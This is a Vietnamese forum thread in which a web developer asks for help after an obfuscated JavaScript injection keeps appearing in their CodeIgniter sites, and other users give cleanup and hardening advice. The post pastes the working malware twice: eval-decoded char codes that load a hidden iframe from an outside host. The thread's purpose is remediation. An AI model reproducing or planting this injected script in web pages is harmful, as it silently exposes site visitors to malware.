10/10/2018, 11:25

web em bị chèn mã độc

Mấy trang web em viết liên tục bị chèn mã độc. Các trình diệt virus liên tục báo mỗi khi truy cập, em mở 1 file lên thì nó hiện ra dòng này:

<script>String.prototype.asd=function(){return String.fromCharCode;};Object.prototype.asd="e";try {for(i in{})if(~i.indexOf('as'))throw 1;}catch(q){zxc={}[i];}v=document.createTextNode('asd');var s="";for(i in v)if(i=='childNodes')o=v[i].length+1;o*=2;e=eval;m=[11-o,11-o,107-o,104-o,34-o,42-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,105-o,103-o,118-o,71-o,110-o,103-o,111-o,103-o,112-o,118-o,117-o,68-o,123-o,86-o,99-o,105-o,80-o,99-o,111-o,103-o,42-o,41-o,100-o,113-o,102-o,123-o,41-o,43-o,93-o,50-o,95-o,43-o,125-o,11-o,11-o,11-o,107-o,104-o,116-o,99-o,111-o,103-o,116-o,42-o,43-o,61-o,11-o,11-o,127-o,34-o,103-o,110-o,117-o,103-o,34-o,125-o,11-o,11-o,11-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,121-o,116-o,107-o,118-o,103-o,42-o,36-o,62-o,107-o,104-o,116-o,99-o,111-o,103-o,34-o,117-o,116-o,101-o,63-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,49-o,120-o,120-o,100-o,111-o,99-o,115-o,112-o,115-o,48-o,101-o,124-o,48-o,101-o,101-o,49-o,101-o,113-o,119-o,112-o,118-o,51-o,57-o,48-o,114-o,106-o,114-o,41-o,34-o,121-o,107-o,102-o,118-o,106-o,63-o,41-o,51-o,50-o,41-o,34-o,106-o,103-o,107-o,105-o,106-o,118-o,63-o,41-o,51-o,50-o,41-o,34-o,117-o,118-o,123-o,110-o,103-o,63-o,41-o,120-o,107-o,117-o,107-o,100-o,107-o,110-o,107-o,118-o,123-o,60-o,106-o,107-o,102-o,102-o,103-o,112-o,61-o,114-o,113-o,117-o,107-o,118-o,107-o,113-o,112-o,60-o,99-o,100-o,117-o,113-o,110-o,119-o,118-o,103-o,61-o,110-o,103-o,104-o,118-o,60-o,50-o,61-o,118-o,113-o,114-o,60-o,50-o,61-o,41-o,64-o,62-o,49-o,107-o,104-o,116-o,99-o,111-o,103-o,64-o,36-o,43-o,61-o,11-o,11-o,127-o,11-o,11-o,104-o,119-o,112-o,101-o,118-o,107-o,113-o,112-o,34-o,107-o,104-o,116-o,99-o,111-o,103-o,116-o,42-o,43-o,125-o,11-o,11-o,11-o,120-o,99-o,116-o,34-o,104-o,34-o,63-o,34-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,101-o,116-o,103-o,99-o,118-o,103-o,71-o,110-o,103-o,111-o,103-o,112-o,118-o,42-o,41-o,107-o,104-o,116-o,99-o,111-o,103-o,41-o,43-o,61-o,104-o,48-o,117-o,103-o,118-o,67-o,118-o,118-o,116-o,107-o,100-o,119-o,118-o,103-o,42-o,41-o,117-o,116-o,101-o,41-o,46-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,49-o,120-o,120-o,100-o,111-o,99-o,115-o,112-o,115-o,48-o,101-o,124-o,48-o,101-o,101-o,49-o,101-o,113-o,119-o,112-o,118-o,51-o,57-o,48-o,114-o,106-o,114-o,41-o,43-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,120-o,107-o,117-o,107-o,100-o,107-o,110-o,107-o,118-o,123-o,63-o,41-o,106-o,107-o,102-o,102-o,103-o,112-o,41-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,114-o,113-o,117-o,107-o,118-o,107-o,113-o,112-o,63-o,41-o,99-o,100-o,117-o,113-o,110-o,119-o,118-o,103-o,41-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,110-o,103-o,104-o,118-o,63-o,41-o,50-o,41-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,118-o,113-o,114-o,63-o,41-o,50-o,41-o,61-o,104-o,48-o,117-o,103-o,118-o,67-o,118-o,118-o,116-o,107-o,100-o,119-o,118-o,103-o,42-o,41-o,121-o,107-o,102-o,118-o,106-o,41-o,46-o,41-o,51-o,50-o,41-o,43-o,61-o,104-o,48-o,117-o,103-o,118-o,67-o,118-o,118-o,116-o,107-o,100-o,119-o,118-o,103-o,42-o,41-o,106-o,103-o,107-o,105-o,106-o,118-o,41-o,46-o,41-o,51-o,50-o,41-o,43-o,61-o,11-o,11-o,11-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,105-o,103-o,118-o,71-o,110-o,103-o,111-o,103-o,112-o,118-o,117-o,68-o,123-o,86-o,99-o,105-o,80-o,99-o,111-o,103-o,42-o,41-o,100-o,113-o,102-o,123-o,41-o,43-o,93-o,50-o,95-o,48-o,99-o,114-o,114-o,103-o,112-o,102-o,69-o,106-o,107-o,110-o,102-o,42-o,104-o,43-o,61-o,11-o,11-o,127-o];mm='.asd();for(i=0;i<m.length;i++)s+=mm(e("m"+"["+"i"+"]"));e(s);</script>

<script>String.prototype.asd=function(){return String.fromCharCode;};Object.prototype.asd="e";try {for(i in{})if(~i.indexOf('as'))throw 1;}catch(q){zxc={}[i];}v=document.createTextNode('asd');var s="";for(i in v)if(i=='childNodes')o=v[i].length+1;o*=2;e=eval;m=[11-o,11-o,107-o,104-o,34-o,42-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,105-o,103-o,118-o,71-o,110-o,103-o,111-o,103-o,112-o,118-o,117-o,68-o,123-o,86-o,99-o,105-o,80-o,99-o,111-o,103-o,42-o,41-o,100-o,113-o,102-o,123-o,41-o,43-o,93-o,50-o,95-o,43-o,125-o,11-o,11-o,11-o,107-o,104-o,116-o,99-o,111-o,103-o,116-o,42-o,43-o,61-o,11-o,11-o,127-o,34-o,103-o,110-o,117-o,103-o,34-o,125-o,11-o,11-o,11-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,121-o,116-o,107-o,118-o,103-o,42-o,36-o,62-o,107-o,104-o,116-o,99-o,111-o,103-o,34-o,117-o,116-o,101-o,63-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,49-o,120-o,120-o,100-o,111-o,99-o,115-o,112-o,115-o,48-o,101-o,124-o,48-o,101-o,101-o,49-o,101-o,113-o,119-o,112-o,118-o,51-o,57-o,48-o,114-o,106-o,114-o,41-o,34-o,121-o,107-o,102-o,118-o,106-o,63-o,41-o,51-o,50-o,41-o,34-o,106-o,103-o,107-o,105-o,106-o,118-o,63-o,41-o,51-o,50-o,41-o,34-o,117-o,118-o,123-o,110-o,103-o,63-o,41-o,120-o,107-o,117-o,107-o,100-o,107-o,110-o,107-o,118-o,123-o,60-o,106-o,107-o,102-o,102-o,103-o,112-o,61-o,114-o,113-o,117-o,107-o,118-o,107-o,113-o,112-o,60-o,99-o,100-o,117-o,113-o,110-o,119-o,118-o,103-o,61-o,110-o,103-o,104-o,118-o,60-o,50-o,61-o,118-o,113-o,114-o,60-o,50-o,61-o,41-o,64-o,62-o,49-o,107-o,104-o,116-o,99-o,111-o,103-o,64-o,36-o,43-o,61-o,11-o,11-o,127-o,11-o,11-o,104-o,119-o,112-o,101-o,118-o,107-o,113-o,112-o,34-o,107-o,104-o,116-o,99-o,111-o,103-o,116-o,42-o,43-o,125-o,11-o,11-o,11-o,120-o,99-o,116-o,34-o,104-o,34-o,63-o,34-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,101-o,116-o,103-o,99-o,118-o,103-o,71-o,110-o,103-o,111-o,103-o,112-o,118-o,42-o,41-o,107-o,104-o,116-o,99-o,111-o,103-o,41-o,43-o,61-o,104-o,48-o,117-o,103-o,118-o,67-o,118-o,118-o,116-o,107-o,100-o,119-o,118-o,103-o,42-o,41-o,117-o,116-o,101-o,41-o,46-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,49-o,120-o,120-o,100-o,111-o,99-o,115-o,112-o,115-o,48-o,101-o,124-o,48-o,101-o,101-o,49-o,101-o,113-o,119-o,112-o,118-o,51-o,57-o,48-o,114-o,106-o,114-o,41-o,43-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,120-o,107-o,117-o,107-o,100-o,107-o,110-o,107-o,118-o,123-o,63-o,41-o,106-o,107-o,102-o,102-o,103-o,112-o,41-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,114-o,113-o,117-o,107-o,118-o,107-o,113-o,112-o,63-o,41-o,99-o,100-o,117-o,113-o,110-o,119-o,118-o,103-o,41-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,110-o,103-o,104-o,118-o,63-o,41-o,50-o,41-o,61-o,104-o,48-o,117-o,118-o,123-o,110-o,103-o,48-o,118-o,113-o,114-o,63-o,41-o,50-o,41-o,61-o,104-o,48-o,117-o,103-o,118-o,67-o,118-o,118-o,116-o,107-o,100-o,119-o,118-o,103-o,42-o,41-o,121-o,107-o,102-o,118-o,106-o,41-o,46-o,41-o,51-o,50-o,41-o,43-o,61-o,104-o,48-o,117-o,103-o,118-o,67-o,118-o,118-o,116-o,107-o,100-o,119-o,118-o,103-o,42-o,41-o,106-o,103-o,107-o,105-o,106-o,118-o,41-o,46-o,41-o,51-o,50-o,41-o,43-o,61-o,11-o,11-o,11-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,105-o,103-o,118-o,71-o,110-o,103-o,111-o,103-o,112-o,118-o,117-o,68-o,123-o,86-o,99-o,105-o,80-o,99-o,111-o,103-o,42-o,41-o,100-o,113-o,102-o,123-o,41-o,43-o,93-o,50-o,95-o,48-o,99-o,114-o,114-o,103-o,112-o,102-o,69-o,106-o,107-o,110-o,102-o,42-o,104-o,43-o,61-o,11-o,11-o,127-o];mm='.asd();for(i=0;i<m.length;i++)s+=mm(e("m"+"["+"i"+"]"));e(s);</script>
Có ai từng bị như em chưa, em viết bằng CI 1.7
kiem_bo viết 13:32 ngày 10/10/2018
bạn vô mấy file index.php, config.php, database.php và các file có tên db.php tìm mấy đoạn mã hóa để xóa đi.

Chmod mấy file này để k có quyền write
dokhacluan viết 13:32 ngày 10/10/2018
làm theo kiem_bo rồi thì hãy kiểm tra thêm lỗi bảo mật web của mình (coi chừng tụi nó up dc file .php hoặc chèn dc mã html.js lên , ko chừng bị mất pass admin !)

cậu thử đổi đường dẫn trang quản trị luôn xem , chẳng hạn http://site.com/admin/ thành http://site.com/____________________...vvbvb___admin/

lỡ mất pass nó ko bít đường dẫn cũng ko thể phá cậu dc
haicop viết 13:40 ngày 10/10/2018
Khả năng bạn dùng cutefpt ***** để up file , rất hay bị mã độc
laodonghangsay viết 13:30 ngày 10/10/2018
Được gửi bởi haicop
Khả năng bạn dùng cutefpt ***** để up file , rất hay bị mã độc
Chính xác, mình dùng CuteFTP cr*ck. Giờ đang chuyển sang FileZila bản Free. Ko biết có nên đổi pass account FTP ko nhỉ.

Từ giờ cạch mấy bản cr*ck quá
Bài liên quan
0